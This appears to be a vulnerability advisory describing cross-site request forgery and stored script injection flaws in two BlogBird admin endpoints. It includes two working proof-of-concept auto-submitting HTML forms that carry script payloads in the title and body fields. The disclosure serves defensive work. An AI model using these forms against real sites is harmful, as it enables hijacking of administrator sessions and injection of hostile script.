Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BlogBird which could be exploited to perform cross-site request forgery attacks.
1) Cross-site request forgery (CSRF) in BlogBird
1.1 The vulnerability exists due to insufficient validation of the request origin in settings/save. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit website settings. Due to insufficient sanitation of input data in the "title" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://www.blogbird.nl/settings/save" method="post" name="main">
<input type="hidden" name="title" value='My Blog Title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="language" value="dutch">
<input type="hidden" name="date_format" value="">
<input type="hidden" name="per_page" value="0">
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit website pages. Due to insufficient sanitation of input data in the "body" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://www.blogbird.nl/elements/save/2648" method="post" name="main">
<input type="hidden" name="files_id" value="123">
<input type="hidden" name="type" value="posts">
<input type="hidden" name="column" value="col1">
<input type="hidden" name="title" value="post title">
<input type="hidden" name="element" value="post">
<input type="hidden" name="body" value='post text"><script>alert(document.cookie)</script>'>
<input type="hidden" name="extended" value="">
<input type="hidden" name="publish" value="1">
<input type="hidden" name="page" value="home">
<input type="hidden" name="author" value="author">
<input type="hidden" name="tags" value="">
</form>
<script>
document.main.submit();
</script>
